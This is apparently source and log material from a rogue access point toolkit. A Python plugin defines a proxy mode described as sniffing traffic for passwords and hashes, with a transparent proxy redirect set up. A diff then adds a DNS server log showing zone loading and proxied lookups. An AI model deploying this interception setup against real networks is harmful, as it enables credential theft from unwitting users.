from core.servers.proxy.proxymode import *
from core.utility.collection import SettingsINI
# from core.widgets.docks.dockmonitor import (
# dockTCPproxy,dockUrlMonitor
# )
from core.common.uimodel import *
from plugins.analyzers import *
from core.widgets.docks.dock import DockableWidget
class TCPProxyDock(DockableWidget):
id = "TCPProxy"
title = "TCPProxy"
def __init__(self,parent=0,title="",info={}):
super(TCPProxyDock,self).__init__(parent,title,info={})
self.setObjectName(self.title)
self.THeaders = OrderedDict([ ('Plugin',[]),('Logging',[])])
def writeModeData(self,data):
''' get data output and add on QtableWidgets '''
self.THeaders['Plugin'].append(data.keys()[0])
self.THeaders['Logging'].append(data[data.keys()[0]])
Headers = []
print(data)
def stopProcess(self):
pass
class PumpKinProxy(ProxyMode):
Name = "pumpkinproxy_plugin"
Author = "Pumpkin-Dev"
ID = "pumpkinproxy"
Description = "Sniff for intercept network traffic on UDP,TCP protocol get password,hash,image,etc..."
Hidden = False
LogFile = C.LOG_PUMPKINPROXY
_cmd_array = ['-m' ,'proxy' ,'--hostname',
'0.0.0.0', '--port' ,'8080','--plugins','plugins.plugins.RedirectToCustomServerPlugin']
ModSettings = True
ModType = "proxy"
TypePlugin = 1
def __init__(self,parent=None, **kwargs):
super(PumpKinProxy,self).__init__(parent)
self.setID(self.Name)
self.setTypePlugin(self.TypePlugin)
self.config = SettingsINI(C.CONFIG_TP_INI)
self.plugins = []
self.parent = parent
self.bt_SettingsDict = {}
self.check_PluginDict = {}
def setPluginOption(self, name, status):
''' get each plugins status'''
# enable realtime disable and enable plugin
if self.conf.get('accesspoint', 'statusAP', format=bool):
self.reactor.disablePlugin(name, status)
self.conf.set('plugins', name, status)
def search_all_ProxyPlugins(self):
''' load all plugins function '''
plugin_classes = default.PSniffer.__subclasses__()
for p in plugin_classes:
if p().Name != 'httpCap':
self.plugins.append(p())
# def boot(self):
# #self.handler = self.parent.Plugins.MITM
# iface = self.conf.get('accesspoint','interfaceAP')
# self.reactor= TCPProxyCore(iface, self.parent.currentSessionID)
# self.reactor.setObjectName(self.Name)
# self.reactor._ProcssOutput.connect(self.LogOutput)
def LogOutput(self,data):
if self.conf.get('accesspoint', 'statusAP', format=bool):
self.logger.info(data)

View File

@ -0,0 +1,318 @@
{"text": "2020-03-14 at 21:41:33 INFO - loading zone file \"/home/mh4x0f/.config/wifipumpkin3/config/app/dns_hosts.ini\":\n", "record": {"elapsed": {"repr": "0:00:07.241184", "seconds": 7.241184}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "loading zone file \"/home/mh4x0f/.config/wifipumpkin3/config/app/dns_hosts.ini\":", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:33.666997-03:00", "timestamp": 1584232893.666997}}}
{"text": "2020-03-14 at 21:41:33 INFO - 1: example.com. 300 IN A 10.0.0.1\n", "record": {"elapsed": {"repr": "0:00:07.318131", "seconds": 7.318131}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": " 1: example.com. 300 IN A 10.0.0.1", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:33.743944-03:00", "timestamp": 1584232893.743944}}}
{"text": "2020-03-14 at 21:41:33 INFO - 2: example.com. 300 IN CNAME whatever.com.\n", "record": {"elapsed": {"repr": "0:00:07.428875", "seconds": 7.428875}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": " 2: example.com. 300 IN CNAME whatever.com.", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:33.854688-03:00", "timestamp": 1584232893.854688}}}
{"text": "2020-03-14 at 21:41:33 INFO - 3: example.com. 300 IN MX 5 whatever.com.\n", "record": {"elapsed": {"repr": "0:00:07.539652", "seconds": 7.539652}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": " 3: example.com. 300 IN MX 5 whatever.com.", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:33.965465-03:00", "timestamp": 1584232893.965465}}}
{"text": "2020-03-14 at 21:41:34 INFO - 4: example.com. 300 IN MX 10 mx2.whatever.com.\n", "record": {"elapsed": {"repr": "0:00:07.647825", "seconds": 7.647825}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": " 4: example.com. 300 IN MX 10 mx2.whatever.com.", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:34.073638-03:00", "timestamp": 1584232894.073638}}}
{"text": "2020-03-14 at 21:41:34 INFO - 5: example.com. 300 IN MX 20 mx3.whatever.com.\n", "record": {"elapsed": {"repr": "0:00:07.753490", "seconds": 7.75349}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": " 5: example.com. 300 IN MX 20 mx3.whatever.com.", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:34.179303-03:00", "timestamp": 1584232894.179303}}}
{"text": "2020-03-14 at 21:41:34 INFO - 6: example.com. 86400 IN NS ns1.whatever.com.\n", "record": {"elapsed": {"repr": "0:00:07.864717", "seconds": 7.864717}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": " 6: example.com. 86400 IN NS ns1.whatever.com.", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:34.290530-03:00", "timestamp": 1584232894.29053}}}
{"text": "2020-03-14 at 21:41:34 INFO - 7: example.com. 86400 IN NS ns2.whatever.com.\n", "record": {"elapsed": {"repr": "0:00:07.970462", "seconds": 7.970462}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": " 7: example.com. 86400 IN NS ns2.whatever.com.", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:34.396275-03:00", "timestamp": 1584232894.396275}}}
{"text": "2020-03-14 at 21:41:34 INFO - 8: example.com. 300 IN TXT \"hello this is some text\"\n", "record": {"elapsed": {"repr": "0:00:08.091574", "seconds": 8.091574}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": " 8: example.com. 300 IN TXT \"hello this is some text\"", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:34.517387-03:00", "timestamp": 1584232894.517387}}}
{"text": "2020-03-14 at 21:41:34 INFO - 9: example.com. 86400 IN SOA ns1.example.com. dns.example.com. 1584232886 3600 10800 86400 3600\n", "record": {"elapsed": {"repr": "0:00:08.202697", "seconds": 8.202697}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": " 9: example.com. 86400 IN SOA ns1.example.com. dns.example.com. 1584232886 3600 10800 86400 3600", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:34.628510-03:00", "timestamp": 1584232894.62851}}}
{"text": "2020-03-14 at 21:41:34 INFO - 10: testing.com. 300 IN TXT \"one long value: IICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgFWZUed1qcBziAsqZ/LzT2ASxJYuJ5sko1CzWFhFuxiluNnwKjSknSjanyYnm0vro4dhAtyiQ7OPVROOaNy9Iyklvu91KuhbYi6l80Rrdnuq1yjM//xjaB6DGx8+m1ENML8PEdSFbKQbh9akm2bkNw5DC5a8Slp7j+eEVHkgV3k3oRhkPcrKyoPVvniDNH+Ln7DnSGC\" \"+Aw5Sp+fhu5aZmoODhhX5/1mANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA26JaFWZUed1qcBziAsqZ/LzTF2ASxJYuJ5sk\"\n", "record": {"elapsed": {"repr": "0:00:08.308508", "seconds": 8.308508}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": " 10: testing.com. 300 IN TXT \"one long value: IICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgFWZUed1qcBziAsqZ/LzT2ASxJYuJ5sko1CzWFhFuxiluNnwKjSknSjanyYnm0vro4dhAtyiQ7OPVROOaNy9Iyklvu91KuhbYi6l80Rrdnuq1yjM//xjaB6DGx8+m1ENML8PEdSFbKQbh9akm2bkNw5DC5a8Slp7j+eEVHkgV3k3oRhkPcrKyoPVvniDNH+Ln7DnSGC\" \"+Aw5Sp+fhu5aZmoODhhX5/1mANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA26JaFWZUed1qcBziAsqZ/LzTF2ASxJYuJ5sk\"", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:34.734321-03:00", "timestamp": 1584232894.734321}}}
{"text": "2020-03-14 at 21:41:34 INFO - 10 zone resource records generated from zone file\n", "record": {"elapsed": {"repr": "0:00:08.424305", "seconds": 8.424305}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "10 zone resource records generated from zone file", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:34.850118-03:00", "timestamp": 1584232894.850118}}}
{"text": "2020-03-14 at 21:41:42 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:16.495251", "seconds": 16.495251}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:42.921064-03:00", "timestamp": 1584232902.921064}}}
{"text": "2020-03-14 at 21:41:43 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:16.666503", "seconds": 16.666503}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:43.092316-03:00", "timestamp": 1584232903.092316}}}
{"text": "2020-03-14 at 21:41:43 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:16.832033", "seconds": 16.832033}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:43.257846-03:00", "timestamp": 1584232903.257846}}}
{"text": "2020-03-14 at 21:41:43 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:16.948469", "seconds": 16.948469}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:43.374282-03:00", "timestamp": 1584232903.374282}}}
{"text": "2020-03-14 at 21:41:43 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:17.107544", "seconds": 17.107544}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:43.533357-03:00", "timestamp": 1584232903.533357}}}
{"text": "2020-03-14 at 21:41:43 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:17.324110", "seconds": 17.32411}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:43.749923-03:00", "timestamp": 1584232903.749923}}}
{"text": "2020-03-14 at 21:41:43 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:17.523738", "seconds": 17.523738}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:43.949551-03:00", "timestamp": 1584232903.949551}}}
{"text": "2020-03-14 at 21:41:44 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:17.706749", "seconds": 17.706749}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:44.132562-03:00", "timestamp": 1584232904.132562}}}
{"text": "2020-03-14 at 21:41:44 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:17.822155", "seconds": 17.822155}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:44.247968-03:00", "timestamp": 1584232904.247968}}}
{"text": "2020-03-14 at 21:41:44 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:17.943065", "seconds": 17.943065}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:44.368878-03:00", "timestamp": 1584232904.368878}}}
{"text": "2020-03-14 at 21:41:44 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:18.032278", "seconds": 18.032278}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:44.458091-03:00", "timestamp": 1584232904.458091}}}
{"text": "2020-03-14 at 21:41:44 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:18.096278", "seconds": 18.096278}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:44.522091-03:00", "timestamp": 1584232904.522091}}}
{"text": "2020-03-14 at 21:41:44 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:18.178379", "seconds": 18.178379}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:44.604192-03:00", "timestamp": 1584232904.604192}}}
{"text": "2020-03-14 at 21:41:44 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:18.256634", "seconds": 18.256634}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:44.682447-03:00", "timestamp": 1584232904.682447}}}
{"text": "2020-03-14 at 21:41:44 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:18.341245", "seconds": 18.341245}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:44.767058-03:00", "timestamp": 1584232904.767058}}}
{"text": "2020-03-14 at 21:41:44 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:18.440457", "seconds": 18.440457}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:44.866270-03:00", "timestamp": 1584232904.86627}}}
{"text": "2020-03-14 at 21:41:44 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:18.497960", "seconds": 18.49796}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:44.923773-03:00", "timestamp": 1584232904.923773}}}
{"text": "2020-03-14 at 21:41:45 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:18.592385", "seconds": 18.592385}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:45.018198-03:00", "timestamp": 1584232905.018198}}}
